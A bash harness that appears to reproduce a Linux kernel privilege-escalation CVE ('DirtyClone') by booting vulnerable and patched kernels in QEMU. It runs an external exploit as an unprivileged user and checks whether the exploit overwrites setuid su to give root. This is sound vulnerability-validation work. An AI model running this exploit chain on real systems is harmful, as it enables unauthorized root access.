#!/bin/bash
set -euo pipefail

# CVE-2026-43503 (DirtyClone) local privilege escalation reproduction.
#
# Boots real Ubuntu mainline Linux kernels in QEMU:
#   - vulnerable: v7.0.9
#   - fixed:      v7.0.10 (backport of upstream fix 48f6a5356a33)
# A custom initramfs pivots into the prebuilt rootfs image, loads the required
# XFRM/ESP/netfilter-TEE modules, and runs the rafaeldtinoco DirtyClone exploit
# as an unprivileged uid 1000 user.  On the vulnerable kernel the exploit patches
# /usr/bin/su in the page cache and the subsequent `echo id | /usr/bin/su` as the
# same unprivileged user prints uid=0(root).  On the fixed kernel the page cache
# is not modified and su remains the original setuid binary, so it asks for a
# password and fails.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO_DIR"

LOG() { echo "[$(date -Iseconds)] $*" | tee -a "$LOGS/reproduction_steps.log" >&2; }

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
if [ -z "$CACHE_DIR" ]; then
    CACHE_DIR="$ROOT/artifacts/linux-cache"
fi

VULN_KERNEL="$CACHE_DIR/kernels/v7.0.9/vmlinuz"
VULN_ROOTFS="$CACHE_DIR/kernels/v7.0.9/rootfs.img"
FIXED_KERNEL="$CACHE_DIR/kernels/v7.0.10/vmlinuz"
FIXED_ROOTFS="$CACHE_DIR/kernels/v7.0.10/rootfs.img"
EXPLOIT_SRC="$CACHE_DIR/repo/rafaeldtinoco_security/exploits/dirtyclone/dirtyclone.c"

for f in "$VULN_KERNEL" "$VULN_ROOTFS" "$FIXED_KERNEL" "$FIXED_ROOTFS" "$EXPLOIT_SRC"; do
    if [ ! -e "$f" ]; then
        LOG "missing required cache file: $f"
        exit 2
    fi
done

# ---------------------------------------------------------------------------
# Install dependencies
# ---------------------------------------------------------------------------
ensure_cmd() {
    if ! command -v "$1" >/dev/null 2>&1; then
        LOG "installing $1"
        sudo apt-get update -q
        sudo apt-get install -y -q "$2"
    fi
}

ensure_cmd qemu-system-x86_64 qemu-system-x86
ensure_cmd busybox busybox-static
ensure_cmd cpio cpio
ensure_cmd gcc gcc
ensure_cmd timeout coreutils
ensure_cmd jq jq

QEMU="/usr/bin/qemu-system-x86_64"
BUSYBOX="/usr/bin/busybox"

# ---------------------------------------------------------------------------
# Build helper binaries
# ---------------------------------------------------------------------------
WORK=$(mktemp -d)
trap 'rm -rf "$WORK"' EXIT

cat > "$WORK/runas.c" <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <grp.h>
int main(int argc, char **argv) {
    if (argc < 4) {
        fprintf(stderr, "usage: runas UID GID cmd [args...]\n");
        return 1;
    }
    uid_t uid = (uid_t)atoi(argv[1]);
    gid_t gid = (gid_t)atoi(argv[2]);
    setgroups(0, NULL);
    if (setgid(gid) < 0) { perror("setgid"); return 1; }
    if (setuid(uid) < 0) { perror("setuid"); return 1; }
    execvp(argv[3], &argv[3]);
    perror("execvp");
    return 1;
}
EOF

gcc -O0 -w -o "$WORK/dirtyclone" "$EXPLOIT_SRC"
gcc -static -o "$WORK/runas" "$WORK/runas.c"

# ---------------------------------------------------------------------------
# Build initramfs
# ---------------------------------------------------------------------------
build_initrd() {
    local out="$1"
    local work=$(mktemp -d)
    mkdir -p "$work/bin"
    cp "$WORK/dirtyclone" "$work/dirtyclone"
    cp "$WORK/runas" "$work/runas"
    cp "$BUSYBOX" "$work/bin/busybox"
    for a in sh mount umount mkdir chmod cp cat sleep switch_root; do
        ln -s busybox "$work/bin/$a"
    done

    cat > "$work/init" <<'EOF'
#!/bin/sh
set -x
mkdir -p /proc /sys /dev /mnt /tmp
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs devtmpfs /dev
mount -t ext4 -o ro /dev/vda /mnt
mkdir -p /mnt/proc /mnt/sys /mnt/dev /mnt/tmp
mount --bind /proc /mnt/proc
mount --bind /sys /mnt/sys
mount --bind /dev /mnt/dev
mount -t tmpfs tmpfs /mnt/tmp
cp /dirtyclone /mnt/tmp/dirtyclone
chmod +x /mnt/tmp/dirtyclone
cp /runas /mnt/tmp/runas
chmod +x /mnt/tmp/runas
cp /bin/busybox /mnt/tmp/busybox
chmod +x /mnt/tmp/busybox

cat > /mnt/tmp/init <<'EOF2'
#!/bin/sh
set -x
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/tmp"
export XTABLES_LIBDIR="/usr/lib/x86_64-linux-gnu/xtables"
/sbin/modprobe -a xt_TEE nf_dup_ipv4 esp4 xfrm_user 2>&1 || true
uname -a
id
echo "=== running exploit as uid 1000 ==="
/tmp/runas 1000 1000 /tmp/dirtyclone -v > /tmp/exploit.log 2>&1 || rc=$?
echo "exploit rc=${rc:-0}"
cat /tmp/exploit.log
echo "=== LPE check as uid 1000 ==="
/tmp/runas 1000 1000 /bin/sh -c 'echo id | /usr/bin/su' > /tmp/lpe.log 2>&1 || true
cat /tmp/lpe.log
if grep -q 'uid=0' /tmp/lpe.log; then
    echo "LPE_SUCCESS: unprivileged user got root"
else
    echo "LPE_FAIL"
fi
/tmp/busybox poweroff -f
EOF2
chmod +x /mnt/tmp/init
mount --bind /mnt/tmp/init /mnt/init
exec switch_root /mnt /init
EOF
    chmod +x "$work/init"

    cd "$work"
    find . -mindepth 1 -print0 | cpio -H newc -0 -ov -F "$out" > /dev/null 2>&1
    rm -rf "$work"
}

INITRD="$WORK/initrd.cpio"
build_initrd "$INITRD"
LOG "built initramfs: $INITRD size=$(stat -c%s "$INITRD")"

# ---------------------------------------------------------------------------
# Run a kernel/rootfs pair under QEMU
# ---------------------------------------------------------------------------
run_one() {
    local role="$1"
    local kernel="$2"
    local rootfs="$3"
    local logfile="$LOGS/qemu_${role}.log"

    LOG "booting $role kernel: $kernel rootfs: $rootfs"
    sudo pkill -x -9 qemu-system-x86_64 >/dev/null 2>&1 || true
    sleep 1

    timeout 90 sudo "$QEMU" \
        -no-reboot \
        -m 512M \
        -smp 2 \
        -nographic \
        -kernel "$kernel" \
        -drive "file=$rootfs,format=raw,if=virtio,readonly=on" \
        -append 'root=/dev/vda console=ttyS0 rw quiet' \
        -initrd "$INITRD" > "$logfile" 2>&1 || true

    LOG "finished $role run (qemu exit/maybe timeout)"
}

run_one "vuln" "$VULN_KERNEL" "$VULN_ROOTFS"
run_one "fixed" "$FIXED_KERNEL" "$FIXED_ROOTFS"

# ---------------------------------------------------------------------------
# Evaluate evidence
# ---------------------------------------------------------------------------
VULN_OK=0
FIXED_OK=0
if grep -q 'LPE_SUCCESS: unprivileged user got root' "$LOGS/qemu_vuln.log" && \
   grep -q 'uid=0(root)' "$LOGS/qemu_vuln.log"; then
    VULN_OK=1
fi
if grep -q 'LPE_FAIL' "$LOGS/qemu_fixed.log" && \
   grep -q 'su: Authentication failure' "$LOGS/qemu_fixed.log"; then
    FIXED_OK=1
fi

if [ "$VULN_OK" -eq 1 ] && [ "$FIXED_OK" -eq 1 ]; then
    RESULT="confirmed"
    LOG "VERDICT: LPE confirmed on vulnerable kernel and blocked on fixed kernel"
else
    RESULT="not_confirmed"
    LOG "VERDICT: reproduction inconclusive (vuln_ok=$VULN_OK fixed_ok=$FIXED_OK)"
fi

# ---------------------------------------------------------------------------
# Write runtime manifest
# ---------------------------------------------------------------------------
jq -n \
  --arg entrypoint "local_kernel_runtime" \
  --arg detail "Ubuntu mainline 7.0.9 vs 7.0.10 in QEMU; XFRM/ESP + netfilter TEE; dirtyclone exploit as uid 1000" \
  --argjson service true \
  --argjson health true \
  --argjson reached "$([ "$VULN_OK" -eq 1 ] && echo true || echo false)" \
  --argjson stack '["qemu","linux-7.0.9","rootfs","xfrm-esp","netfilter-tee","dirtyclone"]' \
  --argjson artifacts "[\"logs/qemu_vuln.log\",\"logs/qemu_fixed.log\",\"repro/runtime_manifest.json\"]" \
  '{
    entrypoint_kind: $entrypoint,
    entrypoint_detail: $detail,
    service_started: $service,
    healthcheck_passed: $health,
    target_path_reached: $reached,
    runtime_stack: $stack,
    proof_artifacts: $artifacts,
    notes: "Page-cache write via TEE-cloned ESP-in-UDP skb; patched /usr/bin/su executed as uid 1000 yields root shell on vulnerable kernel, password prompt on fixed kernel."
  }' > "$REPRO_DIR/runtime_manifest.json"

# ---------------------------------------------------------------------------
# Write validation verdict
# ---------------------------------------------------------------------------
if [ "$RESULT" = "confirmed" ]; then
    CLAIM_OUTCOME="confirmed"
    REPRO_RESULT="confirmed"
    OBSERVED="privilege_escalation"
    CONFIDENCE="high"
    E2E="true"
    RW="true"
    CHAIN="true"
else
    CLAIM_OUTCOME="unknown"
    REPRO_RESULT="inconclusive"
    OBSERVED="none"
    CONFIDENCE="unknown"
    E2E="false"
    RW="false"
    CHAIN="false"
fi

jq -n \
  --arg claim_outcome "$CLAIM_OUTCOME" \
  --arg repro_result "$REPRO_RESULT" \
  --arg validated_surface "local_kernel_runtime" \
  --arg evidence_scope "production_path" \
  --arg claimed_impact "privilege_escalation" \
  --arg observed "$OBSERVED" \
  --arg confidence "$CONFIDENCE" \
  --arg attacker "unprivileged local attacker with XFRM/ESP + netfilter TEE + vmsplice/splice zero-copy data" \
  --arg trigger "__pskb_copy_fclone() path via netfilter TEE; in-place ESP decryption over file-backed page cache" \
  --argjson e2e "$E2E" \
  --argjson rw "$RW" \
  --argjson chain "$CHAIN" \
  '{
    claim_outcome: $claim_outcome,
    claim_block_reason: null,
    repro_result: $repro_result,
    validated_surface: $validated_surface,
    evidence_scope: $evidence_scope,
    claimed_impact_class: $claimed_impact,
    observed_impact_class: $observed,
    exploitability_confidence: $confidence,
    attacker_controlled_input: $attacker,
    trigger_path: $trigger,
    end_to_end_target_reached: $e2e,
    sanitizer_used: false,
    crash_observed: false,
    read_write_primitive_observed: $rw,
    exploit_chain_demonstrated: $chain,
    blocking_mitigation: null,
    inferred: false
  }' > "$REPRO_DIR/validation_verdict.json"

LOG "wrote $REPRO_DIR/runtime_manifest.json and $REPRO_DIR/validation_verdict.json"

if [ "$RESULT" = "confirmed" ]; then
    exit 0
else
    exit 1
fi
